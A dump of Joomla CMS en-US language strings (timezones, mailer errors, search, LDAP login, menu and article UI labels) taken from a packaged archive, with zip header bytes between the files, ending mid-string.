UTC__03_30__ST__JOHN_S__NEWFOUNDLAND__LABRADOR="(UTC -03:30) St. John's, Newfoundland and Labrador" UTC__03_00__BRAZIL__BUENOS_AIRES__GEORGETOWN="(UTC -03:00) Brazil, Buenos Aires, Georgetown" UTC__02_00__MID_ATLANTIC="(UTC -02:00) Mid-Atlantic" UTC__01_00__AZORES__CAPE_VERDE_ISLANDS="(UTC -01:00) Azores, Cape Verde Islands" UTC_00_00__WESTERN_EUROPE_TIME__LONDON__LISBON__CASABLANCA="(UTC 00:00) Western Europe Time, London, Lisbon, Casablanca" UTC__01_00__AMSTERDAM__BERLIN__BRUSSELS__COPENHAGEN__MADRID__PARIS="(UTC +01:00) Amsterdam, Berlin, Brussels, Copenhagen, Madrid, Paris" UTC__02_00__ISTANBUL__JERUSALEM__KALININGRAD__SOUTH_AFRICA="(UTC +02:00) Istanbul, Jerusalem, Kaliningrad, South Africa" UTC__03_00__BAGHDAD__RIYADH__MOSCOW__ST__PETERSBURG="(UTC +03:00) Baghdad, Riyadh, Moscow, St. Petersburg" UTC__03_30__TEHRAN="(UTC +03:30) Tehran" UTC__04_00__ABU_DHABI__MUSCAT__BAKU__TBILISI="(UTC +04:00) Abu Dhabi, Muscat, Baku, Tbilisi" UTC__04_30__KABUL="(UTC +04:30) Kabul" UTC__05_00__EKATERINBURG__ISLAMABAD__KARACHI__TASHKENT="(UTC +05:00) Ekaterinburg, Islamabad, Karachi, Tashkent" UTC__05_30__BOMBAY__CALCUTTA__MADRAS__NEW_DELHI__COLOMBO="(UTC +05:30) Mumbai, Calcutta, Madras, New Delhi, Colombo" UTC__05_45__KATHMANDU="(UTC +05:45) Kathmandu" UTC__06_00__ALMATY__DHAKA="(UTC +06:00) Almaty, Dhaka" UTC__06_30__YAGOON="(UTC +06:30) Yagoon" UTC__07_00__BANGKOK__HANOI__JAKARTA__PHNOM_PENH="(UTC +07:00) Bangkok, Hanoi, Jakarta, Phnom Penh" UTC__08_00__BEIJING__PERTH__SINGAPORE__HONG_KONG="(UTC +08:00) Beijing, Perth, Singapore, Hong Kong" UTC__08_00__WESTERN_AUSTRALIA="(UTC +08:00) Western Australia" UTC__09_00__TOKYO__SEOUL__OSAKA__SAPPORO__YAKUTSK="(UTC +09:00) Tokyo, Seoul, Osaka, Sapporo, Yakutsk" UTC__09_30__ADELAIDE__DARWIN__YAKUTSK="(UTC +09:30) Adelaide, Darwin, Yakutsk" UTC__10_00__EASTERN_AUSTRALIA__GUAM__VLADIVOSTOK="(UTC +10:00) Eastern Australia, Guam, Vladivostok" UTC__10_30__LORD_HOWE_ISLAND__AUSTRALIA_="(UTC +10:30) Lord Howe Island (Australia)" UTC__11_00__MAGADAN__SOLOMON_ISLANDS__NEW_CALEDONIA="(UTC +11:00) Magadan, Solomon Islands, New Caledonia" UTC__11_30__NORFOLK_ISLAND="(UTC +11:30) Norfolk Island" UTC__12_00__AUCKLAND__WELLINGTON__FIJI__KAMCHATKA="(UTC +12:00) Auckland, Wellington, Fiji, Kamchatka" UTC__12_45__CHATHAM_ISLAND="(UTC +12:45) Chatham Island" UTC__13_00__TONGA="(UTC +13:00) Tonga" UTC__14_00__KIRIBATI="(UTC +14:00) Kiribati" ; Mailer Codes PHPMAILER_PROVIDE_ADDRESS="You must provide at least one recipient email address." PHPMAILER_MAILER_IS_NOT_SUPPORTED=" Mailer is not supported." PHPMAILER_EXECUTE="Could not execute: " PHPMAILER_INSTANTIATE="Could not instantiate mail function." PHPMAILER_AUTHENTICATE="SMTP Error! Could not authenticate." PHPMAILER_FROM_FAILED="The following from address failed: " PHPMAILER_RECIPIENTS_FAILED="SMTP Error! The following recipients failed: " PHPMAILER_DATA_NOT_ACCEPTED="SMTP Error! Data not accepted." PHPMAILER_CONNECT_HOST="SMTP Error! Could not connect to SMTP host." PHPMAILER_FILE_ACCESS="Could not access file: " PHPMAILER_FILE_OPEN="File Error: Could not open file: " PHPMAILER_ENCODING="Unknown encoding: " PHPMAILER_SIGNING_ERROR="Signing error: " PHPMAILER_SMTP_ERROR="SMTP server error: " PHPMAILER_EMPTY_MESSAGE="Empty message body" PHPMAILER_INVALID_ADDRESS="Invalid address" PHPMAILER_VARIABLE_SET="Cannot set or reset variable: " PHPMAILER_SMTP_CONNECT_FAILED="SMTP connect failed" PHPMAILER_TLS="Could not start TLS" PK@y>\II-language/en-US/en-US.plg_content_vote.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Content - Vote" PLG_VOTE_XML_DESCRIPTION="Add the Voting functionality to Articles"PK@y>\Ds#language/en-US/en-US.com_search.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Search" COM_SEARCH_ALL_WORDS="All words" COM_SEARCH_ALPHABETICAL="Alphabetical" COM_SEARCH_ANY_WORDS="Any words" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC="Show Created Date" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL="Created Date" COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC="Record the search phrases submitted by visitors." COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL="Gather Search Statistics" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Name" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC="Name displayed for this site as a search provider." COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Description" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC="Description displayed for this site as a search provider." COM_SEARCH_CONFIGURATION="Search Manager Options" COM_SEARCH_EXACT_PHRASE="Exact phrase" COM_SEARCH_FIELD_DESC="Word, words or phrase to search for" COM_SEARCH_FIELD_LABEL="Search Term (Optional)" COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Show the search areas checkboxes" COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Use Search Areas" COM_SEARCH_FIELDSET_OPTIONAL_LABEL="Optional Search Term" COM_SEARCH_FOR_DESC="The type of search" COM_SEARCH_FOR_LABEL="Search for" COM_SEARCH_HEADING_PHRASE="Search Phrase" COM_SEARCH_HEADING_RESULTS="Results" COM_SEARCH_HIDE_SEARCH_RESULTS="Hide Search Results" COM_SEARCH_LOGGING_DISABLED="Gathering statistics disabled" COM_SEARCH_LOGGING_ENABLED="Gathering statistics enabled" COM_SEARCH_MANAGER_SEARCHES="Search Manager: Search Term Analysis" COM_SEARCH_MOST_POPULAR="Popularity" COM_SEARCH_NEWEST_FIRST="Newest First" COM_SEARCH_NO_RESULTS="Off" COM_SEARCH_OLDEST_FIRST="Oldest First" COM_SEARCH_ORDERING_DESC="Defines what ordering results are listed in" COM_SEARCH_ORDERING_LABEL="Results ordering" COM_SEARCH_SAVED_SEARCH_OPTIONS="Saved search options" COM_SEARCH_SEARCH_IN_PHRASE="Search in phrases." COM_SEARCH_SHOW_SEARCH_RESULTS="Show Search Results" COM_SEARCH_XML_DESCRIPTION="Component for search functions" PK@y>\H 0language/en-US/en-US.plg_authentication_ldap.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Authentication - LDAP" PLG_LDAP_FIELD_AUTHMETHOD_DESC="The authorisation method to validate the credentials" PLG_LDAP_FIELD_AUTHMETHOD_LABEL="Authorisation Method" PLG_LDAP_FIELD_BASEDN_DESC="The base DN of your LDAP server, e.g o=mydomain.com" PLG_LDAP_FIELD_BASEDN_LABEL="Base DN" PLG_LDAP_FIELD_EMAIL_DESC="LDAP Attribute which contains the User's email address" PLG_LDAP_FIELD_EMAIL_LABEL="Map: email" PLG_LDAP_FIELD_FULLNAME_DESC="LDAP Attribute which contains the User's full name" PLG_LDAP_FIELD_FULLNAME_LABEL="Map: Full Name" PLG_LDAP_FIELD_HOST_DESC="For example: openldap.mycompany.org" PLG_LDAP_FIELD_HOST_LABEL="Host" PLG_LDAP_FIELD_NEGOCIATE_DESC="Negotiate TLS encryption with the LDAP server. This requires all traffic to and from my LDAP server to be encrypted." PLG_LDAP_FIELD_NEGOCIATE_LABEL="Negotiate TLS" PLG_LDAP_FIELD_PASSWORD_DESC="The Connect Password is the password of an administrative account. This is used in Authenticate then Bind and Authenticated Compare authorisation methods" PLG_LDAP_FIELD_PASSWORD_LABEL="Connect Password" PLG_LDAP_FIELD_PORT_DESC="Default port is 389" PLG_LDAP_FIELD_PORT_LABEL="Port" PLG_LDAP_FIELD_REFERRALS_DESC="This option sets the value of the LDAP_OPT_REFERRALS flag. You will need to set it to No for Windows 2003 servers." PLG_LDAP_FIELD_REFERRALS_LABEL="Follow Referrals" PLG_LDAP_FIELD_SEARCHSTRING_DESC="A query string used for search for a given User. The [search] keyword is dynamically replaced by the User-provided login. An example string is: uid=[search]. Several strings can be used separated by semi-colons. Only used when searching." PLG_LDAP_FIELD_SEARCHSTRING_LABEL="Search String" PLG_LDAP_FIELD_UID_DESC="LDAP Attribute which contains the User's Login ID. For Active Directory this is sAMAccountName" PLG_LDAP_FIELD_UID_LABEL="Map: User ID" PLG_LDAP_FIELD_USERNAME_DESC="The Connect Username and Connect Password define connection parameters for the DN lookup phase. Two options are available:- Anonymous DN lookup. Leave both fields blank.- Administrative connection: Connect Username is the username of an administrative account, for example Administrator. Connect password is the actual password of your administrative account." PLG_LDAP_FIELD_USERNAME_LABEL="Connect Username" PLG_LDAP_FIELD_USERSDN_DESC="The [username] keyword is dynamically replaced by the User-provided login. An example string is: uid=[username], dc=my-domain, dc=com. Several strings can be used, separated by semi-colons. Only used for direct binds." PLG_LDAP_FIELD_USERSDN_LABEL="User's DN" PLG_LDAP_FIELD_V3_DESC="Default is LDAP2, but latest versions of OpenLdap require clients to use LDAPV3" PLG_LDAP_FIELD_V3_LABEL="LDAP V3" PLG_LDAP_FIELD_VALUE_BINDSEARCH="Bind and Search" PLG_LDAP_FIELD_VALUE_BINDUSER="Bind Directly as User" PLG_LDAP_XML_DESCRIPTION="Handles User Authentication against an LDAP server
            Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PK@y>\q쥦00"language/en-US/en-US.com_menus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Menus Manager" COM_MENUS_ADD_MENU_MODULE="Add a module for this menu type." COM_MENUS_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_MENUS_BASIC_FIELDSET_LABEL="Basic Options" COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE="You are not allowed to create new menu items." COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT="You are not allowed to edit menu items." COM_MENUS_BATCH_MENU_LABEL="Select Menu or Parent for Move/Copy" COM_MENUS_BATCH_OPTIONS="Batch process the selected menu items" COM_MENUS_BATCH_TIP="If choosing to copy a menu item, any other actions selected will be applied to the copied menu item. Otherwise, all actions are applied to the selected menu item." COM_MENUS_CONFIGURATION="Menus Configuration" COM_MENUS_EDIT_MODULE_SETTINGS="Edit module settings" COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED="A menu item set to All languages can't be associated. Associations have not been set." COM_MENUS_ERROR_ALREADY_HOME="Menu item already set to home" COM_MENUS_ERROR_ONE_HOME="Only one menu item can be a home link for each language" COM_MENUS_EXTENSION_PUBLISHED_DISABLED="Component disabled and menu item published" COM_MENUS_EXTENSION_PUBLISHED_ENABLED="Component enabled and menu item published" COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED="Component disabled and menu item unpublished" COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED="Component enabled and menu item unpublished" COM_MENUS_FIELD_FEEDLINK_DESC="Display a feed link for this menu item" COM_MENUS_FIELD_FEEDLINK_LABEL="Feed link" COM_MENUS_FIELD_VALUE_IGNORE="Ignore" COM_MENUS_FIELD_VALUE_NEW_WITH_NAV="New Window With Navigation" COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV="New Without Navigation" COM_MENUS_FIELD_VALUE_PARENT="Parent" COM_MENUS_GRID_UNSET_LANGUAGE="Unset %s Default" COM_MENUS_HEADING_ASSIGN_MODULE="Module" COM_MENUS_HEADING_ASSOCIATION="Association" COM_MENUS_HEADING_DISPLAY="Display" COM_MENUS_HEADING_HOME="Home" COM_MENUS_HEADING_LINKED_MODULES="Modules Linked to the Menu" COM_MENUS_HEADING_NUMBER_MENU_ITEMS="Number of Menu Items" COM_MENUS_HEADING_PUBLISHED_ITEMS="# Published" COM_MENUS_HEADING_TRASHED_ITEMS="# Trashed" COM_MENUS_HEADING_UNPUBLISHED_ITEMS="# Unpublished" COM_MENUS_HTML_PUBLISH_ALIAS="Publish the menu item alias" COM_MENUS_HTML_PUBLISH_DISABLED="Publish menu item::Component disabled" COM_MENUS_HTML_PUBLISH_ENABLED="Publish menu item::Component enabled" COM_MENUS_HTML_PUBLISH_SEPARATOR="Publish the separator menu item" COM_MENUS_HTML_PUBLISH_URL="Publish the external URL menu item" COM_MENUS_HTML_UNPUBLISH_ALIAS="Unpublish the menu item alias" COM_MENUS_HTML_UNPUBLISH_DISABLED="Unpublish menu item::Component disabled" COM_MENUS_HTML_UNPUBLISH_ENABLED="Unpublish menu item::Component enabled" COM_MENUS_HTML_UNPUBLISH_SEPARATOR="Unpublish the separator menu item" COM_MENUS_HTML_UNPUBLISH_URL="Unpublish the external URL menu item" COM_MENUS_INTEGRATION_FIELDSET_LABEL="Integration Options" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_LABEL="Menu Item Associations" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC="Multilanguage only! This choice will only display if the Language Filter parameter 'Menu Associations' is set to 'Yes'. Choose a menu item for the target language. This association will let the Language Switcher module redirect to the associated menu item in another language. If used, make sure to display the Language switcher module on the concerned pages. A menu item set to language 'All' can't be associated." COM_MENUS_ITEM_DETAILS="Details" COM_MENUS_ITEM_FIELD_ALIAS_DESC="The alias is used in the URL when SEF is on" COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC="Menu Item to link to..." COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL="Menu Item" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC="An optional, custom style to apply to the menu hyperlink." COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL="Link CSS Style" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC="An optional, custom description for the title attribute of the menu hyperlink." COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL="Link Title Attribute" COM_MENUS_ITEM_FIELD_ASSIGNED_DESC="Shows which menu a link will appear in." COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL=" Menu Location" COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE="- No association -" COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC="Target browser window when the menu item is clicked." COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL="Target Window" COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED="Hide Unassigned Modules" COM_MENUS_ITEM_FIELD_HOME_DESC="Sets this menu item as the default or home page of the site. You must have a default page set at all times." COM_MENUS_ITEM_FIELD_HOME_LABEL="Default Page" COM_MENUS_ITEM_FIELD_LANGUAGE_DESC="Assign a language to this menu item" COM_MENUS_ITEM_FIELD_LINK_DESC="Link for this menu" COM_MENUS_ITEM_FIELD_LINK_LABEL="Link" COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC="An optional image to be used with the menu hyperlink " COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL="Link Image" COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC="If the optional image is added, adds the menu title next to the image. Default is 'Yes'." COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL="Add Menu Title" COM_MENUS_ITEM_FIELD_NOTE_DESC="Enter some text here" COM_MENUS_ITEM_FIELD_ORDERING_DESC="The menu item will be placed in the menu after the selected menu item" COM_MENUS_ITEM_FIELD_ORDERING_LABEL="Ordering" COM_MENUS_ITEM_FIELD_ORDERING_TEXT="Ordering will be available after saving" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST="- First -" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST="- Last -" COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC="Optional CSS class to add to elements in this page. This allows CSS styling specific to this page." COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL="Page Class" COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC="Optional alternative text for the Page heading." COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL="Page Heading" COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC="Optional text for the "Browser page title" element. If blank, a default value is used based on the Menu Item Title." COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL="Browser Page Title" COM_MENUS_ITEM_FIELD_PARENT_DESC="Select a Parent Item" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Parent Item" COM_MENUS_ITEM_FIELD_SECURE_DESC="Selects whether or not this link should use SSL and the Secure Site URL" COM_MENUS_ITEM_FIELD_SECURE_LABEL="Secure" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC="Show / Hide the Browser Page Title in the heading of the page ( If no optional text entered - will default to value based on the Menu Item Title ). The Page heading is usually displayed inside the "H1" tag." COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL="Show Page Heading" COM_MENUS_ITEM_FIELD_TEMPLATE_DESC="Select a specific template style for this menu item or use the default template." COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL="Template Style" COM_MENUS_ITEM_FIELD_TITLE_DESC="The title of the menu item that will display in the menu." COM_MENUS_ITEM_FIELD_TITLE_LABEL="Menu Title" COM_MENUS_ITEM_FIELD_TYPE_DESC="The type of link: Component, URL, Alias or Separator" COM_MENUS_ITEM_FIELD_TYPE_LABEL="Menu Item Type" COM_MENUS_ITEM_IS_DEFAULT="Is default" COM_MENUS_ITEM_MODULE_ASSIGNMENT="Module Assignment for this Menu Item" COM_MENUS_ITEM_REQUIRED="Required" COM_MENUS_ITEM_ROOT="Menu Item Root" COM_MENUS_ITEMS_REBUILD_FAILED="Failed rebuilding Menu Items list" COM_MENUS_ITEMS_REBUILD_SUCCESS="Menu items list successfully rebuilt" COM_MENUS_ITEMS_SEARCH_FILTER="Search title or alias. Prefix with ID: to search for a menu ID." COM_MENUS_ITEMS_SET_HOME_0="No menu item set to home" COM_MENUS_ITEMS_SET_HOME_1="One menu item successfully set to home" COM_MENUS_ITEMS_SET_HOME_MORE="%d menu items successfully set to home" COM_MENUS_ITEMS_UNSET_HOME="One menu item successfully unset to home" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Layout Options" COM_MENUS_LAYOUT_MENUTYPE_OPTIONS_LABEL="Menu Type Options" COM_MENUS_LINKTYPE_OPTIONS_LABEL="Link Type Options" COM_MENUS_MENU_CONFIRM_DELETE="Are you sure you want to delete these menus? Confirming will delete the selected menu types, all their menu items and the associated menu modules." COM_MENUS_MENU_DESCRIPTION_DESC="A description about the purpose of the menu." COM_MENUS_MENU_DETAILS="Menu Details" COM_MENUS_MENU_ITEM_SAVE_SUCCESS="Menu item successfully saved" COM_MENUS_MENU_MENUTYPE_DESC="The system name of the menu." COM_MENUS_MENU_MENUTYPE_LABEL="Menu type" COM_MENUS_TYPE_SYSTEM="System Links" COM_MENUS_MENU_SAVE_SUCCESS="Menu successfully saved" COM_MENUS_MENU_TITLE_DESC="The title of the menu to display in the Administrator Menubar and lists." COM_MENUS_MENU_TYPE_NOT_ALLOWED="This is a reserved menutype." COM_MENUS_PAGE_OPTIONS_LABEL="Page Display Options" ; in the following string ; %1$s is for module title, %2$s is for access-title, %3$s is for position COM_MENUS_MODULE_ACCESS_POSITION="%1$s (%2$s in %3$s)" COM_MENUS_MODULE_SHOW_VARIES="Varies" COM_MENUS_N_ITEMS_CHECKED_IN_0="No menu item successfully checked in" COM_MENUS_N_ITEMS_CHECKED_IN_1="%d menu item successfully checked in" COM_MENUS_N_ITEMS_CHECKED_IN_MORE="%d menu items successfully checked in" COM_MENUS_N_ITEMS_DELETED="%d menu items successfully deleted" COM_MENUS_N_ITEMS_DELETED_1="%d menu item successfully deleted" COM_MENUS_N_ITEMS_PUBLISHED="%d menu items successfully published" COM_MENUS_N_ITEMS_PUBLISHED_1="%d menu item successfully published" COM_MENUS_N_ITEMS_TRASHED="%d menu items successfully trashed" COM_MENUS_N_ITEMS_TRASHED_1="%d menu item successfully trashed" COM_MENUS_N_ITEMS_UNPUBLISHED="%d menu items successfully unpublished" COM_MENUS_N_ITEMS_UNPUBLISHED_1="%d menu item successfully unpublished" COM_MENUS_N_MENUS_DELETED="%d menu types successfully deleted" COM_MENUS_N_MENUS_DELETED_1="Menu type successfully deleted" COM_MENUS_NO_ITEM_SELECTED="No menu items selected" COM_MENUS_NO_MENUS_SELECTED="No menu selected" COM_MENUS_OPTION_SELECT_LEVEL="- Select Max Levels -" COM_MENUS_REQUEST_FIELDSET_LABEL="Required Settings" COM_MENUS_SAVE_SUCCESS="Menu item successfully saved" COM_MENUS_SUBMENU_ITEMS="Menu Items" COM_MENUS_SUBMENU_MENUS="Menus" COM_MENUS_SUCCESS_REORDERED="Menu item successfully reordered" COM_MENUS_TIP_ALIAS_LABEL="Warning!
            Leave the alias field empty if the menu item alias and the menu item linked to by the alias have the same parent." COM_MENUS_TIP_ASSOCIATION="Associated menu items" COM_MENUS_TIP_ASSOCIATED_LANGUAGE="%s %s (%s)" COM_MENUS_TITLE_EDIT_ITEM="Menu Manager: Title Edit Item" COM_MENUS_TOOLBAR_SET_HOME="Home" COM_MENUS_TYPE_ALIAS="Menu Item Alias" COM_MENUS_TYPE_ALIAS_DESC="Create an alias to another menu item." COM_MENUS_TYPE_CHOOSE="Select a Menu Item Type:" COM_MENUS_TYPE_EXTERNAL_URL="External URL" COM_MENUS_TYPE_EXTERNAL_URL_DESC="An external or internal URL." COM_MENUS_TYPE_SEPARATOR="Text Separator" COM_MENUS_TYPE_SEPARATOR_DESC="A text separator." COM_MENUS_TYPE_UNEXISTING="Component '%s' does not exist" COM_MENUS_TYPE_UNKNOWN="Unknown" COM_MENUS_VIEW_EDIT_ITEM_TITLE="Menu Manager: Edit Menu Item" COM_MENUS_VIEW_EDIT_MENU_TITLE="Menu Manager: Edit Menu" COM_MENUS_VIEW_ITEMS_TITLE="Menu Manager: Menu Items" COM_MENUS_VIEW_MENUS_TITLE="Menu Manager: Menus" COM_MENUS_VIEW_NEW_ITEM_TITLE="Menu Manager: New Menu Item" COM_MENUS_VIEW_NEW_MENU_TITLE="Menu Manager: Add Menu" COM_MENUS_XML_DESCRIPTION="Component for creating menus" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent menu item is of a lesser state." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\5ff/language/en-US/en-US.plg_editors_codemirror.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC="Display line numbers" PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL="Line numbers" PLG_CODEMIRROR_FIELD_TABMODE_DESC="Indent - causes tab to adjust the indentation of the selection or current line using the parser's rules . Shift - Pressing tab indents the current line (or selection) one indent Unit deeper, pressing shift-tab, un-indents it." PLG_CODEMIRROR_FIELD_TABMODE_LABEL="Tab mode" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_INDENT="Indent" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_SHIFT="Shift" PLG_CODEMIRROR_XML_DESCRIPTION="This plugin loads the CodeMirror editor." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror"PK@y>\eCC+language/en-US/en-US.com_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CATEGORIES="Categories" COM_CATEGORIES_XML_DESCRIPTION="This component manages categories" PK@y>\ bĬvv!language/en-US/en-US.mod_feed.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Feed Display" MOD_FEED_ERR_CACHE="Please make cache directory writable" MOD_FEED_ERR_NO_URL="No feed URL specified." MOD_FEED_FIELD_DESCRIPTION_DESC="Show the description text for the whole Feed" MOD_FEED_FIELD_DESCRIPTION_LABEL="Feed Description" MOD_FEED_FIELD_IMAGE_DESC="Show the image associated with the whole Feed" MOD_FEED_FIELD_IMAGE_LABEL="Feed image" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Show the Description or Intro text of individual RSS Items" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Item Description" MOD_FEED_FIELD_ITEMS_DESC="Enter number of RSS items to display" MOD_FEED_FIELD_ITEMS_LABEL="Items" MOD_FEED_FIELD_RSSTITLE_DESC="Display news feed title" MOD_FEED_FIELD_RSSTITLE_LABEL="Feed Title" MOD_FEED_FIELD_RSSURL_DESC="Enter the URL of the RSS/RDF/ATOM feed" MOD_FEED_FIELD_RSSURL_LABEL="Feed URL" MOD_FEED_FIELD_RTL_DESC="Display feed in RTL direction" MOD_FEED_FIELD_RTL_LABEL="RTL feed" MOD_FEED_FIELD_WORDCOUNT_DESC="Allows you to limit the amount of visible Item description text. 0 will show all the text" MOD_FEED_FIELD_WORDCOUNT_LABEL="Word Count" MOD_FEED_XML_DESCRIPTION="This module allows the displaying of a syndicated feed" PK@y>\qs11$language/en-US/en-US.com_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Articles" COM_CONTENT_ACCESS_DELETE_DESC="New setting for delete actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ACCESS_EDIT_DESC="New setting for edit actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ACCESS_EDITSTATE_DESC="New setting for edit state actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ARTICLE_DETAILS="Article Details" COM_CONTENT_ARTICLES_TITLE="Article Manager: Articles" COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL="Article Options" COM_CONTENT_ATTRIBS_FIELDSET_LABEL="Article Options" COM_CONTENT_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_CONTENT_BATCH_OPTIONS="Batch process the selected articles" COM_CONTENT_BATCH_TIP="If choosing to copy an article, any other actions selected will be applied to the copied article. Otherwise, all actions are applied to the selected article." COM_CONTENT_CHANGE_ARTICLE="Select or Change article" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change" COM_CONTENT_CHOOSE_CATEGORY_DESC="Select a parent category" COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC="These settings apply for article layouts unless they are changed for a specific menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC="These settings apply for blog or featured layouts unless they are changed for a specific menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL="Blog / Featured Layouts" COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC="These settings apply for Articles Categories Options, unless they are changed by the individual category or menu settings." COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC="These settings apply for Articles Category Options unless they are changed by the individual category or menu settings." COM_CONTENT_CONFIG_EDITOR_LAYOUT="These options control the layout of the article editing page." COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Article Component will integrate with other extensions." COM_CONTENT_CONFIG_LIST_SETTINGS_DESC="These settings apply for List Layouts Options unless they are changed for a specific menu item or category." COM_CONTENT_CONFIGURATION="Article Manager Options" COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL="Default category" COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC="If set to 'Yes', this page will only let you create articles in the category selected below." COM_CONTENT_DRILL_CATEGORIES_LABEL="List or Blog: after choosing the display,
